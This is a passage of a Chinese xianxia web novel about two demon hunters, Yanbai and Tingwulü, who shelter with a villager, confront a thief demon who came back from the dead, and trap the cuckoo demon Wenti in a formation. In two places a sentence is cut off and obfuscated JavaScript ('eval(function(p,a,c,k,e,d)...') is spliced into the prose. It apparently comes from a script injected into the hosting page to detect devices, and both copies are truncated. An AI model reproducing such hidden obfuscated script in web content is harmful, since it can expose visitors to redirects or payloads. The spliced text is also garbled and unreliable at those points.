他进屋提了几把矮凳安放在院落里,招呼两位姑娘坐下,也不见他倒茶水,三人就这样直挺的坐在青苔黄叶的小院中。 坐定片刻,男子才悠悠然开口道:“姑娘们吓着了吧,那山里有个大妖怪,平时倒不见咋伤人,可难保哪天他变了性情,没事儿别进山里,这样貌美的小姑娘喂了妖怪多可惜。” “吃我?死妖怪别犯在我手里才好。”酽白满是怒气,恨不能用此刻凶狠的表情杀死炆提。 “今日多谢大哥收留,接下来可能要叨扰一段时日了。叫我庭芜绿就好,她是酽白,怎么称呼大哥呢。”小姑娘言笑晏晏,早已料到酽白的反应,等她说完立马开口。 “欸行嘞,那就小芜小酽,你们别看我人挺随便的,但名字可不随便,常鹊羽,好听着吧,随你们怎么叫都行。” 酽白听见小酽二字,嘴角抽动,感觉头更疼了些,还是酽白悦耳动听啊。 说起来,这名字还是她到小尧涧的第一天定下的,严道长说她不再是过去的农户女儿,也不该从前的旧身份了。 在家中她叫小酉,取酉取严即为酽,白字是师父望她至纯无瑕,成为正直清白的捉妖师。 “这院子就我一人住……是简陋了些,等会再给你们收拾屋子,另外有啥需要的就和我说。”说着就要前去烧晚饭,院中又剩两个姑娘相对无言。 夕阳西坠,远处山间弥漫水雾,独属夜晚的凉爽四处蔓延。 此间小院脱离了村庄,除了厨房里偶尔磕磕碰碰的声音,再也听不见别的,四周寂寥无声。 酽白在幽幽凉意中缓缓阖了眼,历经一天疲累现在又无人侵扰,正是好眠的时候,然而有人却不让她如愿睡下。 “前些日子在巫岭遇到了一位前辈,听他说起才知严道长已离世几年,本想去小尧涧祭拜,到了才知晓你不在那儿。”庭芜绿打量着开口,等了小会儿,酽白闭着眼睛回她。 “师父过身一事并未对外提过,只有他的几位旧友知道,师父没立碑墓,若想祭拜,去小尧涧后山的白玉浮水台即可。” “村里人说你好几年不曾回去,酽白,你为什么不回去呢?”庭芜绿终是没忍住发问道。 酽白睁开眼,视线飘远,眼中的过了很久才答:“没什么,在外捉妖太忙了,再说路远我也懒得走。” 庭芜绿听出她不想谈论这件事,很识趣的不再发问,转而问起了鹃鸟的事。 “对了,今日那鹃鸟是怎么回事,而且酽白你怎么……变弱了?” “嗯对,我就是变弱了,以后你就是最厉害的捉妖师了。”酽白重新闭眼转过头去,语气中透露出的不在意,惹得庭芜绿一阵偷笑。 但闹归闹,酽白还是仔细跟庭芜绿说起鹃鸟的事,顺带还提了他吸食妖力的事。 妖相食的荒唐事,庭芜绿也鲜少听闻,此事违背天理,再放任鹃鸟如此行事必会酿成大祸。 “今日我被束缚时,他用的就是雪术法,另外,他还会一种短时间内让妖力快速暴涨的妖法。” 酽白想起来就气,居然用雪妖的术法对付她,说起雪妖,她后知后觉寄鸣珠落在了砾妖手中。 “可是,这些术法与他自身妖力并不融洽,他是如何修炼运用的?”庭芜绿不解,在她的认知里,妖只能根据自身属性修炼适合的妖法,这怎么还有能修好几种不同妖法的,未免太离谱了些。 “这种邪术我也没见过,他不仅获取特殊妖法,还吸食普通小妖的法力。” 庭芜绿撇嘴:“他是收纳容器吗,什么都往身体里装。” “你……今天是如何发现我的?”酽白想起诡异的死而复生的砾妖,他盗走寄鸣珠后不久,庭芜绿就到了,不知碰上没有。 “其实啊我也是追着一只妖去的,还是只不多见的砾妖,可惜没顾得上,让他趁乱跑了。” 追着砾妖?他分明已经离开了,再回去难道是引庭芜绿救她?不过看他的神情应该是讨厌自己的,而且他还偷走了自己的寄鸣珠,莫非是为了雪箐?毕竟除了雪箐她想不出二人应该有何交集。 “酽白,不如拿砾妖为饵引诱鹃鸟,按你所说他早就打上了砾妖防御妖法的主意,只要我们先找到砾妖,用他引诱炆提上当,届时二妖齐聚一起抓走。” “先等等吧,那妖偷了我的寄鸣珠,还撒了谎,我得先找他谈谈事!”酽白咬牙切齿,毫不掩饰对砾妖的厌恶。 庭芜绿听完,只得暂且按捺行动,当务之急是帮酽白抓贼,夺回宝物。 再次琢磨起那日之事,饶是酽白见惯了奇闻异事,也说不清砾妖怎么会没死,她清楚瞧见他的心脏实打实的被刺穿了,伤到这种程度要怎么才能活过来? 正交谈间,系着黑布半腰围裙的常鹊羽从正屋出来,肩上扛着一张四方小桌。 “还有点儿天色,咱们在外面吃饭吧,屋里……有点闷。”虽然听他这样讲,庭芜绿还是回头偷瞥了眼正屋,里面可谓是“内容丰富”,轻楞了罢,没有拆穿他的说辞。 桌上是些简单的时蔬,卖相还算可以,清爽之色煞是勾人胃口。 庭芜绿率先尝过,脸上怀疑之色骤变,嘴里止不住的惊叹,直夸常鹊羽厨艺好,满满一大碗饭,几大口下去就少了一半。 她本就多话,跟常鹊羽待在一起更是没停过嘴,两人颇有相见恨晚之感,话密得酽白都插不进去一句,最后她只能默默扒拉自己的饭。 浑黑天幕压下,闪着星星点点亮光,院中月华清透明亮。 常鹊羽进到屋里,不断摆弄东西发出细碎杂音,庭芜绿无视他的拒绝一起收拾屋子,视线越过他高大身形,直观的看清了杂乱内室。 动物皮骨沿着墙角凌乱摆了好些,本该待在厨房的果蔬竟然在卧房出现了,衣服不正常的出现在柜子、椅凳和箩筐里,甚至还有床底下。 房梁屋角的蜘蛛网张张相连,满屋子灰尘不合时宜的在空中浮沉,以此来拆穿它们主人的谎言。 庭芜绿扶额叹息,偏常鹊羽还咧着嘴不甚在意,二人好一顿忙活,终于赶在庭芜绿撂挑子前收拾完了。 酽白受了伤,占了个不用干活的伤员身份,刚好让她在外躲懒,算着时间进来,整洁床铺刚好铺完,屋内光景惊呆酽白,他们莫非有异能,在短时间内搭建了一间新房。 白日的惊心动魄早已被抛诸脑后,人、妖两派各自安分下来,在这死寂的大山里找到了落脚地。 姑娘二人背对着躺在床上,中间留出生分的界限,使得空气中弥漫着一丝别扭气氛,难为情终究不抵困乏,不多时就各自合上眼缓缓入眠。 不知是不是白日念叨了师父,这一晚酽白又在梦里见到了他,这次梦见的是年轻的师父。 她小时候喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鹃鸟双翅合围于身前,用密实羽毛将浓黑带毒的气团死死挡住,然后再一扇翅,蛇妖被扇飞到墙壁上。 炆提再次变作人形,在他面前驻足,看着蛇妖口吐黑血。 仍旧不堪一击,炆提失了趣味,修长手指间凝出尖锐冰凌,蛇妖扭曲的身体随即被钉死在岩壁上。 他身上没有炆提想要的特殊法力,杀他单纯是为了吸食点妖力,听说这剧毒之物吃起来是臭的,他要想尝尝能有多臭。 “呃……呕……”是有点臭,炆提面露嫌弃,早知道先净化一下了。 转身走出岩洞,惊觉左手臂似乎不太对劲,料想是刚才大意了,抬起手来一看,果然是中了剧毒。 好在毒素不多,略微施法就能把毒逼出身体,一时疏忽竟让小小蛇妖得了手,早知道不遛那恶毒玩意儿了,就该直接杀了他,看来以后还是得多加防御。 防御……他记起个好东西来,白日在山林中遇见了砾妖,他们一族的防御术可是顶好的术法。这次要是抓住了他,再将他的防御之术变作自己的,之后这些小妖的攻击于他而言根本不在话下。 炆提更加心动,当下不再墨迹立马去找砾妖,大半夜的在山林里窜来窜去,群鸟被惊醒,纷纷展翅飞走,惹得深山久久不得安宁。 这边,几人安然睡足一晚,等酽白和小芜起身时,常鹊羽早早生火烧起了早食。 他们三人倒是悠闲惬意上了,而柳殷照现在却稍稍有些狼狈。 6. 复生的小柳 一处破落庙宇内,柳殷照面容蓬垢,衣衫褴褛,颓唐的靠在掉漆木柱上,双眼放空失去往日神采。 顺着捉妖师踪迹来到此地,好不容易救回雪箐,谁知闹心事还在后面。 枰溪镇那天,他本想带着捉妖师逃走,待事后再问清雪箐之事,熟料原本跟他划作一伙的鸟妖,下一刻就向他们发起了攻击。 然后,居然是他很不幸的死掉了,柳殷照觉得自己真是没地方喊冤,果然跟人类沾边的铁定不是好事。 心脏破裂的疼痛刻进骨髓,让他这辈子再也忘不掉,他想一定不要再经历这种疼痛,得保护自己好好活下去。 但,幸运又奇异的是,他没死,不说昨日捉妖师惊奇,就连他自己也难以相信。被鹃鸟妖术击中后,他就没了意识,后面也不知道发生了什么事。 等他再睁眼,天光大亮,他在树下躺了整整一夜,捉妖师和鹃鸟个个不见踪影。 柳殷照迷茫的环顾四周,没看到地下黄泉府之迹,挂在高树枝上的野果落下,侧底砸醒他,才明白还是在枰溪镇。 伸出手在心脏处按揉,心安在,没坏。 可冰凌的确刺穿了他的心脏,将106年的妖生经历全都用尽,柳殷照也没思量出个结果来。 最后,索性便这样了,反正他没死,雪箐也无事,随即又为自己的复活喜上心头。 柳殷照以为捉妖师去寻鹃鸟踪迹了,就这样将自己弃之不顾,还不明不白的带走了雪箐,真是不仗义,暗自唾骂了一番,而后忍着疼痛离开。 白日渐退,黑布遮天,夜晚在此刻重返人间。他在枰溪镇寻了个遍,一直没有捉妖师踪迹,心下的焦急不免更甚,他怕捉妖师已经带着雪箐离开了,天下这么大,他恐再难见雪箐。 柳殷照苦寻无果后,有点熬不住了,带着伤奔波了整日,最终支撑不住晕倒在僻静小道上,晕晕乎乎中感觉有人拖走了自己,然后他陷入沉睡中。 “滴答—滴答—”柳殷照被一阵有规律的杂声吵醒,眼前一片漆黑,除了那声音外没有任何动静。 “咳咳……呼……天,怎么还没亮。”他只记得晕倒前天刚黑,醒过来怎么还是不见日光,夜原来这样漫长啊。 摸索着起身,顿觉手下触感不对,晕倒的小路上全是泥土,怎么会是石头的触感,他睡着了还能挪动位置呢? 就在他停下回忆的空隙,另一道窸窸窣窣的声音响起来了,还伴着细微喘气音,柳殷照浑身寒毛竖立,他到底是进了个什么地方。 突然,四周白光乍起,刺的他不适的挡住眼睛。 一个男人逆光站立,“照儿啊,你醒啦?” “奂风?我怎么在你这儿。” 柳殷照很小的时候就混迹在枰溪镇了,这些年也有过不少朋友,但他们不是被捉妖师抓走,就是外出去人间四处游荡了,奂风算是他关系很好的朋友。 “昨天我外出,听说镇上来了个厉害的捉妖师,还在杜府抓了个妖,我担心是雪箐就去杜家找她,谁知真的是她……” “我又去找你,想问问怎么回事,结果你也不见了。我差点以为你俩都被抓走了,叫了好些兄弟帮忙,最后在云鼎峰的小路找到了你,你当时昏迷不醒,我就把你带回来了。” “对了,那个捉妖师你找了吗?雪箐还在她手里。” “雪箐没死啊?坏了,有兄弟说那捉妖师已经出镇子了,那雪箐不是她一起被带走了,完了完了。” 柳殷照的心沉下去,他不知道雪箐会被带去哪儿,还能活吗?他要去哪儿找她们呢? “柳儿,你受的伤很重,先歇着吧,雪箐那边我让兄弟们去打听。” 柳殷照胡乱点了头,脑子乱作一团,一会儿是雪箐哭着叫他,一会又是自己被鹃鸟杀死。 他犹记得雪箐刚来枰溪镇的时候,虚弱又呆笨,蜷着身子待在一处石屋的墙角根儿,被人发现也不逃。 柳殷照看不过眼带走了她,用自己的妖力一点点给她养好伤,后来更是把她当做小妹妹对待,她在枰溪镇只依靠自己。 他必须去救雪箐!柳殷照坚定思绪,他是一定要救雪箐的,即便天涯海角,也要从捉妖师手下带走雪箐。 眼下找到捉妖师尤为重要,但他毫无头绪,正愁闷之际,奂风的朋友利用追踪术捕捉到酽白踪迹,柳殷照不等养好伤,告别奂风急匆匆离开了。 紧赶慢赶到达圻乡时,刚好窥见酽白行于山林小道,他不敢跟太紧,自己虽短暂的掩盖了妖物气息,但酽白是个法力高强的捉妖师,他万不敢大意。 好在机会来得快,捉妖师与那鹃鸟打斗之际,一颗珠子滚了出来,雪箐的气息被他察觉到,只是更为淡弱,明显是虚弱了,他就知道,捉妖师怎么会怜惜妖物呢,雪箐在她手里早晚得死。 趁着二人打斗无暇顾及珠子时,他疾身上前,拾了珠子就跑,还狠狠剜了捉妖师一眼,且等以后再来找她算账吧。 逃跑途中就遇见了那个黄衣捉妖师,柳殷照感叹自己运衰,逃不开捉妖师么。又想起刚刚酽白躺在地上的惨样儿,她不是很厉害么,怎么这次这么快就被打倒了。 是了,之前在枰溪镇受了重伤,这其中还有自己的恶行,但该说不说,那鹃鸟妖好像比之前见到时更厉害了。 一个计划在他脑袋里乍现,不若再引个捉妖师过去,凭她二人之力除掉鹃鸟,以报自己破心之痛。至于捉妖师,反正她已经被鹃鸟打伤了,也算是遭了罪。 于是,他略略现身将庭芜绿引至酽白处,而自己拿着寄鸣珠脚下生风溜出好远。 回到落脚的山庙,柳殷照把自己会的术法用了个遍,还是没找到打开这颗破珠子的办法,真是珠子随主人啊,都让人毫无办法。 柳殷照烦闷挠头,发脾气般将珠子扔出去,寄鸣珠在地上滚了一圈,又像故意嬉弄他一样滚回到他脚下,抬脚准备狠狠踩上去时,珠子里的雪箐正巧出声。 “啊——酽白道长,是出了什么事吗?珠子为什么在翻滚啊?” 他立马听出是雪箐在说话,对了对了,就是雪箐的声音,感谢天神啊她还好好的。 “雪箐,我是小柳哥,你在里面还好吗?捉妖师可伤你?” “……小柳哥?你……你真的是小柳哥吗?酽白道长说你死了,怎么会在这儿呢?” “雪箐你别急啊,我马上想办法救你出来。” 二人就这样各问各答的聊着,自动忽略对方的发问,而小柳也真的准备施 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雪箐如今的妖力还很低弱,难以化形,寄居在珠内的灵识也久眠少醒,和小柳才说片刻就没了应答。 现在,闷烦的又只剩柳殷照,他已然知晓酽白无错,还救下了雪箐。按理他应好生向酽白道谢才是,可如今在人家眼皮底下抢走法宝,还对她见死不救,柳殷照觉得自己真是没脸再见捉妖师了。 珠子也成了烫手之物,但他必须好好的送还回去,可捉妖师若接受还好,就怕厌恶了他,届时再连累雪箐才是真的犯下大错了。 正纠结犹豫如何向酽白请罪,角落里传来一两声异样的响动,他从另一侧绕身过去,在开裂的空水缸边找到一小孩。 浑身脏兮兮的,头发打结后也不梳开,衣裳散发腌出的异味,奇怪的叫声正是从她的……肚子里发出来的。 小孩有点害怕的看着他,柳殷照以为是山下村庄的孩子,又想到山里有极坏极变态的鹃鸟妖,恶狠狠的吓唬人:“小孩儿,饿了就赶紧回家吃饭,等会儿山里的大妖怪出来了,小心他把你抓走当下饭菜。” 小孩好像没被这番话吓跑,仍是呆呆的不为所动,柳殷照现在可没心思管他,见他不听劝,也就放任他去了。 等再次想起时,小孩儿已经不见踪影,可能已经回家了。 在常鹊羽家安顿下来后,酽白好生休养调息了几日,又有庭芜绿的帮助,浑身伤处已好了个大概。 这几日,鹃鸟跟砾妖都安生了些,谁也没出现在两位捉妖师眼中。 庭芜绿在常鹊羽的带领下摸清了山中情形,情况较前几天更糟糕了,就连植物精灵也慢慢失了生气,再这样下去,炆提会杀死所有妖物的。 等到没了妖物供给,剩下的就是村里的人了,到那时这山会慢慢变成一座死山,弥漫无尽的死气中滋生出无穷恶妖,那是相当棘手且恐怖的事,酽白她们必然不能让这种情况发生。 天气也不算太好,接连几天的大雨不曾停歇,这几日常鹊羽也没冒雨出去晃悠,他看了天象估摸雨停也就是一两日的事了。 庭芜绿说完山中的死寂情形后,酽白也明白不能再拖下去,得趁早想法子收服那恶妖才好。 7. 合杀炆提(上) 炆提妖力大涨过甚,与他硬来耗时费力不说,还容易危害其他生灵,如何简单快速的制服他,这可真是难到了两位捉妖师。 二人正思索着,就见常鹊羽领着一个小乞丐进来,刚一靠近,小乞丐身上臭如腐鱼烂虾的味道直冲人鼻。 常鹊羽用两个指尖捏着他衣领走了一路,早就难以忍受了,一进门就忙催着他去冲洗干净。 等小乞丐走开,庭芜绿才有机会重新呼吸,“这是哪里捡回来的,常大哥你怎么老是喜欢往家里领人啊?” “嗐,这小姑娘是之前邻居家的小孩儿,他们很久之前就离开圻乡了,但我今天出去在她家附近又发现了她,也不知道啥原因小姑娘一个人在那儿。” “你说她是小姑娘?”这下不止庭芜绿吃惊,酽白也发出疑问。 “啧,现在瞧着吧是脏了点,但她是个白净小孩儿,你们等会儿看吧。”常鹊羽被她二人的反应逗笑了。 小乞丐洗干净出来了,她先瞟了几人一眼,而后垂头站在那儿。 酽白沉默着,细细打量眼前面容娟好的小姑娘,而庭芜绿更是直接上手揉捏那张小脸。 好半晌,小姑娘才得常鹊羽的解救,逃离庭芜绿的恶爪。 “尔尔,你和爹娘不是早离开了吗?怎么单你自己在这啊?” 小姑娘话还没开口说,莹润的泪珠儿就接连滑下面颊,“常叔叔,我爹娘被妖怪抓走了。” “妖?可是山里那大妖?你们怎么会遇上他,要命啊,那你这些天咋过的啊?” 常鹊羽急得焦头烂额,一方面为着邻人的安危担忧,另一方面也颇心疼眼前的孩子,料想之前浑身脏兮兮的,肯定是流落在外造成的。 “那妖怪知道我感知灵敏,抓走我爹娘要挟我,让我替他寻找藏起来的妖。我给他干了好久的活,他不给我饭吃,也不让我休息,我就成这样了。” 小姑娘越说越小声,她也想干干净净的,可这不是条件不允许嘛,干净哪有小命重要。 “你能感知到妖物?小姑娘,姐姐能问一下你是生来就如此吗?”庭芜绿蹲身在她面前柔柔问道,显然对这个小姑娘的特异能力来了兴趣。 叫尔尔的姑娘小幅度点了点头,又往熟悉的常鹊羽身旁挪去,忽而又挪出来哐一声跪下。 “两位姐姐,那天我看见你们跟妖怪打架了,我知道你们很厉害,求求你们帮我救救爹娘好不好?我给你们干一辈子的活报答你们,干什么都行绝不反悔的,求求你们了。” 见小姑娘哭得悲痛欲绝,庭芜绿摸着她脑袋耐心哄到:“尔尔放心,姐姐们一定会打败妖怪救出你爹娘的。” 得到了肯定答案,尔尔才略停下哭泣。倏尔,又对着酽白道,“姐姐,我知道那个抢你珠子的坏人在哪儿,我能带你去寻他。” 酽白与炆提交手的那天,尔尔躲在一旁看尽事情全过程,她知道柳殷照是妖,一路跟着他到了藏身地。 尔尔轻易道出山庙所在,酽白除此外还想弄清砾妖复生是怎么回事,当即不犹豫,跟着尔尔前往破庙。 柳殷照思绪正盛,脑子里上演了好多种还珠的情形,无一例外最后的结果都不太妙。 还没想出妥善办法,视线又被一个漂亮小姑娘吸引住,有点眼熟又不确定,看她对自己招手好像有话说,柳殷照没有多想半分,直愣愣的出去了。 一记剑锋狠狠袭来,他虽是躲得快,但也被伤到肩膀。而后,捉妖师自树上俯身下来,手指翻飞施法定住柳殷照,又一脚踢在他瘦伤的肩膀,柳殷照难抵冲击,被迫倒地。 天旋地转间,那捉妖师已欺身上来,左手死死按住他肩,右手几指游走于心脏处,似在查看他的心脏情况。 柳殷照无力反抗,只能躺在地上任捉妖师抚上他心间。 酽白清楚感受到他心脏在跳动,仍觉匪夷所思,这妖怪竟然会回生之术,便是放眼天下,也没听过有哪一类妖会此妖法,完全是违背常理啊。 酽白按在砾妖肩上的手慢慢移到脖颈上,她今日定是要从妖物口中问出因果来。 “你到底是如何复生的,那日我亲眼所见,你明明已经死了。” 柳殷照被掐住命脉,咽喉处发声艰难,面色爆红,断断续续的字音蹦出,“我也……不知……醒来就这样,我也奇……奇怪。” 酽白手上再次施力,砾妖颈上青筋爆出,脸上因挣扎冒出薄汗,求生的欲望让他死命反抗,指甲掐进酽白皮肤里,在她手上留下深深印记。 酽白见他这样都不曾说出,应是没撒谎的,在砾妖快断气前堪堪停手,随后席地坐在庙前阶梯处。 逼问无果,酽白不再探究,连砾妖自己都无从得知,那她也不必深究了。 “寄鸣珠,交出来。”酽白不愿与他过多交涉,只想拿了珠子走人。 柳殷照本就打算归还,好机会送上门来了他自然得把握住,双手捧着珠子殷勤奉上,讨好的笑对酽白:“道长,我无心偷盗,如此行事只为雪箐,还请道长别介怀,方才也已经打过我了,不如就小小的宽恕我一回。” 酽白没作任何反应,她赶着回去商量抓炆提,并不搭理砾妖起身就要走,却抵不过他百般纠缠。 炆提拦身在酽白面前,随着她的前进不断后退,“道长,求您给个机会让我赎罪,我知道你们要抓鹃鸟,不如让我同去?我也会些法术,定能帮上你们的忙。” 酽白没等他说完话,带着尔尔快速消失,独留砾妖在那儿神色恹恹。 回到常鹊羽家后,难得瞧见庭芜绿面带惶色,她急拉着酽白坐下,问她可有想法。 酽白却面向尔尔开口,细细问着鹃鸟的相关事宜。 “妖怪最开始是我发现的,我回家告诉了爹,爹不敢声张,偷偷的给村长讲了,村长让我爹去外面请个捉妖师来。” 可是,请来的捉妖师都命丧炆提之手。自那时起,村里人渐渐得知了妖的存在,人人皆惊慌失措,年轻人陆续逃去外面。 “我爹带着我和娘刚跑就遇见大妖怪了,他知道我能看见妖怪后,整天带着我去抓妖。那以后我就很少见到爹娘了,也不知道他们现在怎么样?”尔尔说完又陷入了伤心事中。 “我自青鱼山时便追捕这鹃鸟,之前只见他吸取特异妖力,近来几日他似乎无所在意,各类妖力全都吸干殆尽。”酽白不解,“尔尔,你在他身边多日,可知他有什么异处吗?” 小姑娘眨巴着眼睛仔细回想起来:“对了,他每次吃完妖怪都要歇上一阵,会在他的山洞里坐着睡觉。今天我就是趁他睡着了才偷跑出来的。之前我还想偷偷看他是不是真的睡了,但是根本不能靠近他,有个……看不见的东西挡着我。” “看不见的,是结界吗?” “我不知道,小芜姐姐,反正是很厉害的东西。” 之后酽白和庭芜绿皆是沉默,在一旁沉默良久的常鹊羽看出二人意图,悠悠道出:“所 以,你俩是打算利用他休息的这段时间?” 庭芜绿看了眼酽白,二人想法趋同,“那妖物大量吸食自身之外的妖力,要想炼化就只能调息将妖力融合到自身中,为防止在此时遭到攻击,所以才会给自己设下保护结界。” 庭芜绿忧色转喜,语调也轻快了不少。“我跟酽白已经有办法了,等妖物再次调息的时候,我们就动手。尔尔啊,姐姐到时候让你看更厉害的结界。” “咋就有办法了,你俩啥时候说了?那我呢,我要干点啥?”常鹊羽又咧着嘴咋呼起来。 齐尔尔算着时间,面露恐惧神色,“常叔叔,我要回去了,如果大妖怪醒来看不见我会生气的。” 庭芜绿给了尔尔一张符纸,关键时刻能保她平安,之后牵着她送她回去,叮嘱她时刻观察妖物情况。 酽白正准备回房间,偏常鹊羽生拉着她不放,势要将她们的计划问个明白。 “常大哥,其实也算不上计划,不过是等妖物虚弱时将他诱出藏身之处,到时候庭芜绿会找个好地形设下阵法,我二人趁势杀掉他。” “就……这样啊?酽白妹子,不是我不信啊,之前村里也来过不少的捉妖师,最后都是活不见人死不见尸。你俩毫无计划就贸然对抗他,大哥是担心你们,到时候被吃了可连尸骨都捡不回来啊。” 酽白不再回话,默默走回房内,任由常鹊羽自顾自的担忧着。 之后几日,相安无事,平静局面持续,两位捉妖师都逐渐烦闷。 尔尔仍旧没带来好消息,酽白等得怀疑,“你跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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酽白正待上前,发现了尔尔说的那个看不见的东西,果然有结界阻挡了她,结界似乎并不弱,难怪外面不设防,合着炆提把妖力全用这儿了。 酽白掌心淡蓝灵火被附在双鸣剑上,然后对着结界狠狠砍了下去。 这一剑并未动摇它,她又从小兜里拿出沾过龙树液的灵符,起手施法,符纸慢慢贴上结界。 这龙树液色泽鲜红,是最好的蚕食阵法之物。酽白再次施法,符纸随即融化在结界上。 几息之后,结界表面出现异动,一道道细微裂痕浮现,再慢慢扩大,龙树液不断侵蚀结界裂口处,空隙逐渐演变成一个个圆洞。 最终如她所料,结界难抵外力,变得破碎不堪,炆提早已感受到异动,生等到此刻结界全破才睁眼起身。 他的调息还未完成,刚刚吸收的妖力没有很好的跟自身融合,正在体内作妖乱窜呢。 炆提满脸杀意的望着酽白,他就说要早点处理掉捉妖师吧,偏偏有个贱东西数次阻拦他,那么今日就一起算账吧。 “捉妖师,最后一次见面了,今日我们必有一死。” 酽白粗略跟他过了几招,并不多留,慢慢往洞口处去。出洞穴后,也没和炆提过多纠缠,引着他往庭芜绿的方向移动,一心要杀酽白的妖傻跟着进了圈套。 庭芜绿之前在山里摸索时,探到了这处盆状地形,只要将阵法设在中间低地处,待炆提进入其内并被阵法困住后,她与酽白再合力攻击炆提,届时鹃鸟无路可退,定能狠狠杀他。 设好圈套后,庭芜绿藏身树上,稍许就看到酽白疾速略过,身后炆提流星赶月般追着她。等酽白先落入低地,炆提随后而至。 两位捉妖师对视,确认无误后,酽白对着刚落脚站定的炆提发出攻击,庭芜绿进行阵法的最后闭合,好将炆提困在其间。 炆提避开酽白的攻击,才发现此处异样,可等他再想逃时,却没办法离开了。他化作鸟身无差别撞击法阵各个角落,试图撕裂结界逃出,但终究只是徒劳。 “真是妙极,两个厉害的捉妖师今日要一同死在这儿了。”炆提露出阴测笑容,眼神凌厉的看向二人。 法阵被攻击后出现裂痕,却并不破裂,转瞬即复原如初,居然跟他刚才的结界一样。 炆提暗斥,今日当真是遇见道高之人了,索性不再做无畏攻击,准备与捉妖师打个你死我活来。 庭芜绿出身衡進宗,她的师父璟南道长乃是阵法大家,实力不容小觑。她得璟南真传,在阵法方面也是颇有建树。 借助地形优势,设下的阵法形同倒扣的碗,将这处死死罩住,又在顶端引连绵山林之力重重压住,这小小鹃鸟任他妖力再盛,也难逃这天网。 8. 合杀炆提(下) 庭芜绿闪身进入阵法内:“小妖,这法阵如今只可进不可出,你若就此受降,我们便留你灵识不灭,可若不听劝,那只能让你魂飞魄散了。” “说什么糊涂话呢,我若是要死,那你们也都留在这儿陪我吧。”炆提嗤笑道。 “既然不听劝,那你就操心自己去吧。”庭芜绿神情骤变,脸上是难得的认真,率先上前与炆提缠斗起来。 她从手腕里释出野青,她的法器,一柄细长泛着墨绿光亮的剑,不同于双鸣多年淬炼而成的狠绝杀意,野青之意好似磐石中破壁而出的嫩芽,虽不扬但亦有坚韧之感。 剑尖直抵炆提咽喉,他化作鸟身闪避开,后又回首冲着酽白而去。 鸟喙撞伤剑身,擦出赤色火星,酽白刚避开攻击,就见炆提化作人形落地,庭芜绿赶上去和酽白并肩而立。 短暂停下后,仍旧是庭芜绿先冲出去,她的招式更为凶狠,全朝着炆提要害处去,鹃鸟有些躲闪不及,慢慢落了小伤在身。 酽白则趁着炆提被庭芜绿牵制时,绕身至其后下手,炆提腹背受敌,很快不敌捉妖师阵营。 又一次被酽白刺中胸口,血流不止,他招架不住,向后退去拉开几人间的距离。 炆提迅速施法调动妖力,刚才还隐有败战之势的鹃鸟再度回满妖力,像是不曾受过伤。 酽白看出来了,他用的是青鱼妖的妖力,所以才在这么短的时间里再次恢复妖力,真是难对付。 炆提妖力回满后没上赶着去打架,脸上挂着邪魅的笑,施展她们看不懂的妖法。 他双手落罢,背后侧身走出另一个炆提。庭芜绿抛出袖中匕首,小刀穿透炆提胸腔,却不见他受伤。 酽白与庭芜绿皆惊,她们倒是知道,有些妖力高深的妖会练就换生术,复刻出一个与自己分毫不差的妖,并且让他承接自己部分妖力,这个假妖能替自己行事,甚至是替自己去死。 换生术下的假药妖特别难缠,他们会听从本体之令,不遗余力的完成指令,对付他们只有伤到本体才能见效,然而在换生妖的周全保护下,要想伤到本体简直难如登天。 两个炆提在几次转身交错间变得混乱,不知谁真谁假,庭芜绿靠近酽白,低声耳语,“一人一个,左右都跑不了。” 庭芜绿的身形略出残影,紧紧跟住其中一个,二人过招不分强弱。 另一边的酽白却心生疑惑,眼前的炆提很不一样,那种相识之感再次袭上心头。 简单的试探中,酽白巧合得知眼前的炆提是化出来的假妖,但他和通常的假妖又不同,并未听从命令对酽白做出攻击,只是防御性抵抗,也不像炆提本体那样势要取她性命,酽白虽不解但也没多想,她已然有了对付假妖之法。 酽白不再追着炆提,他果然也停了下来,他那样子像是想说话但不能开口。 “你是本体化出来的妖,没有意识五感,只是继承了部分法力。”酽白告诉他这个催妖泪下的事实。 假妖定定的望着酽白,那眼神里有……怜爱和欢欣。 酽白脑子炸开了,又是这种眼神,她想不清楚死妖怪要干嘛,知道的说他们是仇家,不知道的还以为他俩旧友重逢,上演温情戏码呢。 再难忍受下去,与他打斗之余寻着机会在他身上贴下灵符,随后退开念诀施法,酽白的脚下显出复杂符印。 假炆提没做多想,静静站立在前方,等他再想挪动时,却发现自己不能操控身体了,他低头看,自己脚下出现了与酽白那处一样的复杂符印。 假妖瞬间明白,酽白贴在他身上的是便是契间符。 刚才的符纸作为媒介,在二人周身处创造了一个新的空间,瞬间拉近距离,二人共同被困在其中。在这个空间里,符纸主人能掌握一切,被困者难以反击。 使用契间符需要耗费较多灵力,且符纸的效力随使用者灵力高强变换不定,短则瞬息之间,长也不过一炷香的时间。 酽白平日里很少用它,今日也是无法子了,只要能解决眼前的妖,耗费点灵力也不算什么。 炆提被困住后,小心提防着捉妖师,可还是无用。 酽白一掌打向炆提前额,饶是他反应再迅速,也被灵力打伤。眩晕感席卷大脑,他捂住前额一阵摇晃,又感到身后拳风袭来,闪身躲避的同时向着拳风来源处扔出冰凌。 当然没击中,这可是捉妖师造出来的的世界,怎容他放肆。 酽白虽与炆提相隔数尺,但仍能出招打中他,假炆提难以避开攻击,慢慢的有些落下风。 她瞅准这个时机,接连使出剑招重伤炆提,正要打散他身形时,真正的炆提抬手收回了化身,分出的妖力回转本体,同时一记劈手震飞庭芜绿。 酽白转头瞧见被打飞出去的姑娘,看来青鱼妖的邪乎妖法果真是很有用啊,死鸟短时间内妖力又变强了,再顾不得迟疑,急忙往庭芜绿处坠落处略身而去。 “小芜——”,好在及时扶住了她,再一看,随之而来的翎羽飞针在二人身上划出血痕,星星红点浸透衣裳显露在外。 “又傻了么,打你不知道躲开。”酽白退开,“他妖力太强,等会我会再用契间符困住他,你找机会上前。” “不行,这符阵太耗法力,你刚才已经用过一次了,身体才好又这么消耗,你是真不想活了吗?” “能杀妖就成,赶紧收服他,我有事问他。” 